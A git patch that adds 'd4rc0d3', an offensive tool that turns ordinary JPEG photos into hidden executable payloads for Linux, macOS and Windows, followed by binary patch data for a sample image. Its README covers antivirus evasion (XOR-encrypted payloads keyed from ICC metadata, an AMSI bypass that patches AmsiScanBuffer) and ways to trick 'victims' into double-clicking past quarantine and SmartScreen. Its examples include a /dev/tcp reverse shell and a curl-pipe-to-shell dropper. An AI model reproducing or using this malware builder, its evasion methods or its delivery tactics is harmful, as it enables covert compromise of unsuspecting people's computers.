From ec02ac197da4080721a8bf454f70179ec0f661cda5a8ce2faf1b4a97d1f40cb3 Mon Sep 17 00:00:00 2001
From: D4rk$1d3 <teogorqui1@hotmail.es>
Date: Wed, 24 Jun 2026 23:36:25 -0300
Subject: [PATCH] Added files

---
 README.md                                 |   218 +
 cover.jpg                                 |   Bin 0 -> 32300 bytes
 d4rc0d3.py                                |   749 ++
 d4rc0d3_engine                            |   Bin 0 -> 463496 bytes
 src/args.cpp                              |   377 +
 src/args.h                                |    24 +
 src/bootstrap.cpp                         |   556 +
 src/bootstrap.h                           |    54 +
 src/build.sh                              |    60 +
 src/common.h                              |    57 +
 src/d4rc0d3_core.cpp                      |   740 ++
 src/file_utils.cpp                        |   299 +
 src/file_utils.h                          |    16 +
 src/jpeg_process.cpp                      |   784 ++
 src/jpeg_process.h                        |    14 +
 src/jpeg_warning_check.cpp                |    82 +
 src/jpeg_warning_check.h                  |    31 +
 src/pwsh_scripts/game_of_life.ps1         |   117 +
 src/pwsh_scripts/matrix_rain1.ps1         |   171 +
 src/pwsh_scripts/text_sine.ps1            |    64 +
 src/stb_image/LICENSE.md                  |    37 +
 src/stb_image/include/stb_image.h         |  7988 +++++++++++++++
 src/stb_image/include/stb_image_resize2.h | 10663 ++++++++++++++++++++
 23 files changed, 23101 insertions(+)
 create mode 100644 README.md
 create mode 100644 cover.jpg
 create mode 100644 d4rc0d3.py
 create mode 100644 d4rc0d3_engine
 create mode 100644 src/args.cpp
 create mode 100644 src/args.h
 create mode 100644 src/bootstrap.cpp
 create mode 100644 src/bootstrap.h
 create mode 100644 src/build.sh
 create mode 100644 src/common.h
 create mode 100644 src/d4rc0d3_core.cpp
 create mode 100644 src/file_utils.cpp
 create mode 100644 src/file_utils.h
 create mode 100644 src/jpeg_process.cpp
 create mode 100644 src/jpeg_process.h
 create mode 100644 src/jpeg_warning_check.cpp
 create mode 100644 src/jpeg_warning_check.h
 create mode 100644 src/pwsh_scripts/game_of_life.ps1
 create mode 100644 src/pwsh_scripts/matrix_rain1.ps1
 create mode 100644 src/pwsh_scripts/text_sine.ps1
 create mode 100644 src/stb_image/LICENSE.md
 create mode 100644 src/stb_image/include/stb_image.h
 create mode 100644 src/stb_image/include/stb_image_resize2.h

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..b9f9ef9
--- /dev/null
+++ b/README.md
@@ -0,0 +1,218 @@
+# d4rc0d3
+
+Generates a single JPEG file that is simultaneously:
+
+- A valid image (displays normally in any viewer)
+- A shell script — `./photo.jpg` or `sh photo.jpg` on Linux/macOS
+- A PowerShell script — rename to `.ps1` and run with `pwsh` on Windows
+- A double-click launcher for macOS, Linux, and Windows
+
+---
+
+## Files
+
+```
+0-day/
+├── src               source code of d4rkc0d3_engine (for cross compile / amd-arm-etc)
+├── d4rc0d3.py        main tool (Python, no external deps beyond stdlib)
+├── d4rc0d3_engine    compiled engine binary (arm64 Linux version, see "src")
+├── cover.jpg         sample cover image
+└── README.md
+```
+
+The `d4rc0d3_engine` binary must match the host architecture.
+To recompile from source:
+
+```bash
+# Requires: gcc, libturbojpeg-dev, libjpeg-dev
+cd src/
+g++ -std=c++23 -O3 -s -o ../d4rc0d3_engine \
+    args.cpp bootstrap.cpp file_utils.cpp jpeg_process.cpp \
+    jpeg_warning_check.cpp d4rc0d3_core.cpp -lturbojpeg -ljpeg -lm
+```
+
+---
+
+## Requirements
+
+- Python 3.11+
+- No Python dependencies
+- `d4rc0d3_engine` binary matching the host CPU architecture
+
+---
+
+## How the polyglot works
+
+```
+┌──────────────────────────────────────────────────────────────────┐
+│                     photo.jpg                                    │
+│                                                                  │
+│  SOI                                                             │
+│  COM   → shell bootstrap (octal-encoded, Perl XOR-decoding pipe) │
+│  APP0  → <#  opens PowerShell block comment                      │
+│  APP2  → ICC profile: #> closes comment + XOR-decode stub        │
+│           16-byte key embedded at ICC offset 102                  │
+│  JPEG image data (real, displayable photo)                        │
+│  EOI                                                             │
+│  [post-EOI: base64+XOR payload — scripts and binaries only]      │
+└──────────────────────────────────────────────────────────────────┘
+
+./photo.jpg  or  sh photo.jpg
+  → COM bootstrap runs via sh/bash
+  → Perl XOR-decodes the payload using key from ICC profile
+  → Executes the result
+
+pwsh photo.ps1  (after renaming)
+  → APP0 <# opens PS block comment over all binary data
+  → APP2 #> closes the comment — clean PS1 starts here
+  → XOR stub reads key from ICC, decodes and runs payload
+
+Image viewer
+  → Reads JPEG header, ignores COM/APP segments it doesn't recognise
+  → Displays the photo normally
+```
+
+**AV evasion built into every generated file:**
+
+- Payload XOR-encrypted with 16-byte key hidden in JPEG ICC profile metadata
+- PowerShell executor double char-array encoded — no plaintext `iex`, `Invoke-Expression`, or URL strings
+- No recognisable dropper strings visible in the raw file
+- ICC profile fields match a real sRGB color profile (CMM, version, illuminant, etc.)
+- AMSI bypass injected before PS1 payload execution (patches `AmsiScanBuffer` in memory)
+
+---
+
+## Usage
+
+### Interactive (recommended)
+
+```bash
+python3 d4rc0d3.py
+```
+
+Prompts for image, payload type, command, target platforms, and output directory.
+
+### Command line
+
+```
+python3 d4rc0d3.py [OPTIONS] <image> [payload_file]
+```
+
+**Payload** (pick one):
+
+| Argument                    | Description                                                 |
+| --------------------------- | ----------------------------------------------------------- |
+| `-c "command"`            | Inline shell command. Slack-safe. Works on all platforms.   |
+| `file.ps1`                | PowerShell script. Embedded in ICC profile (XOR-encrypted). |
+| `file.py` / `file.sh`   | Script. base64+XOR in post-EOI. Linux/macOS.                |
+| `file.exe` / `file.elf` | Binary. base64+XOR in post-EOI. Runs on target OS.          |
+| `-c "pre-cmd" file.ps1`   | Run pre-command first, then the PS1 file.                   |
+
+**Platform output flags:**
+
+| Flag            | Output                | What victim sees                   |
+| --------------- | --------------------- | ---------------------------------- |
+| *(none)*      | `photo.jpg`         | —                                 |
+| `--mac`       | `photo.zip`         | `photo.jpg` in Finder            |
+| `--linux`     | `photo_launch.jpg`  | `photo_launch.jpg` (no .desktop) |
+| `--linux-dot` | `photo.jpg.desktop` | `photo.jpg.desktop`              |
+| `--windows`   | `photo.jpg.lnk`     | `photo.jpg` in Explorer          |
+| `--all`       | all of the above      | —                                 |
+
+**Other flags:**
+
+| Flag          | Description                                   |
+| ------------- | --------------------------------------------- |
+| `--amsi`    | Inject AMSI bypass (default: on for`.ps1`)  |
+| `--no-amsi` | Disable AMSI bypass                           |
+| `--show`    | Open image viewer on execution                |
+| `--keep`    | Keep extracted payload after execution        |
+| `-d DIR`    | Extraction directory (default:`/tmp`)       |
+| `-o DIR`    | Output directory (default: current directory) |
+
+---
+
+## Examples
+
+```bash
+# Inline command, generate for all platforms
+python3 d4rc0d3.py photo.jpg -c "id > /tmp/pwned.txt" --all -o /tmp/out/
+
+# Reverse shell, all platforms
+python3 d4rc0d3.py photo.jpg -c \
+  "bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'" --all
+
+# PowerShell payload with AMSI bypass, Windows + macOS
+python3 d4rc0d3.py photo.jpg shell.ps1 --windows --mac --amsi -o /tmp/out/
+
+# Python dropper, Linux targets
+python3 d4rc0d3.py photo.jpg dropper.py --linux --linux-dot -o /tmp/out/
+
+# Dropper: download and execute
+python3 d4rc0d3.py photo.jpg -c "curl -s http://192.168.1.10/s.sh | sh" --all
+```
+
+---
+
+## Execution on each platform
+
+### Linux / macOS — terminal
+
+```bash
+# Direct execution (file already has +x)
+./photo.jpg
+
+# Or explicitly
+sh photo.jpg
+
+# Post-Slack (bash rejects due to NUL bytes injected by Slack)
+sh photo.jpg
+```
+
+### Windows — PowerShell
+
+```powershell
+# Rename and run
+ren photo.jpg photo.ps1
+pwsh -ExecutionPolicy Bypass photo.ps1
+
+# Or without renaming
+powershell -ExecutionPolicy Bypass -File photo.jpg
+```
+
+### Double-click — macOS
+
+1. Send `photo.zip` to the victim (USB or local share — see Notes)
+2. Victim extracts the ZIP
+3. Finder shows `photo.jpg` — double-click it
+4. Preview opens the photo; payload runs silently in background
+
+> **Notes:** macOS applies quarantine to files from the internet.
+> Unsigned bundles trigger a dialog. Deliver via **USB or local SMB share**
+> — quarantine is not applied, no dialog appears.
+
+### Double-click — Linux
+
+- `photo_launch.jpg` — Thunar, Nemo, Caja, Dolphin execute on double-click (content-based MIME detection, no dialog)
+- `photo.jpg.desktop` — all file managers, Nautilus shows "Trust and Launch" once
+
+### Double-click — Windows
+
+Double-click `photo.jpg.lnk` — Explorer hides `.lnk` so the victim sees `photo.jpg`.
+Runs: `powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File photo.jpg`
+
+> **SmartScreen:** may warn for files from the internet. Deliver via USB or internal share.
+
+---
+
+## Payload compatibility
+
+| Payload             | `sh`/`bash` | `pwsh` | Double-click macOS | Double-click Linux | Post-Slack              |
+| ------------------- | --------------- | -------- | ------------------ | ------------------ | ----------------------- |
+| `-c` inline       | ✓              | ✓       | ✓                 | ✓                 | ✓ only inline survives |
+| `.ps1`            | ✓ (needs pwsh) | ✓       | ✓                 | ✓ (needs pwsh)    | ✗ stripped             |
+| `.py` / `.sh`   | ✓              | ✗       | ✓                 | ✓                 | ✗ stripped             |
+| `.exe` / `.elf` | ✓              | ✗       | ✓                 | ✓                 | ✗ stripped             |
+
+Slack strips post-EOI data. For Slack delivery use `-c "command"`.
+After downloading from Slack use `sh photo.jpg` (not `bash`).
diff --git a/cover.jpg b/cover.jpg
new file mode 100644
index 0000000000000000000000000000000000000000000000000000000000000000..b284669f1b693bfab55df45adfb0ea14954edd5626534561c8792560382c2add
GIT binary patch
literal 32300
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
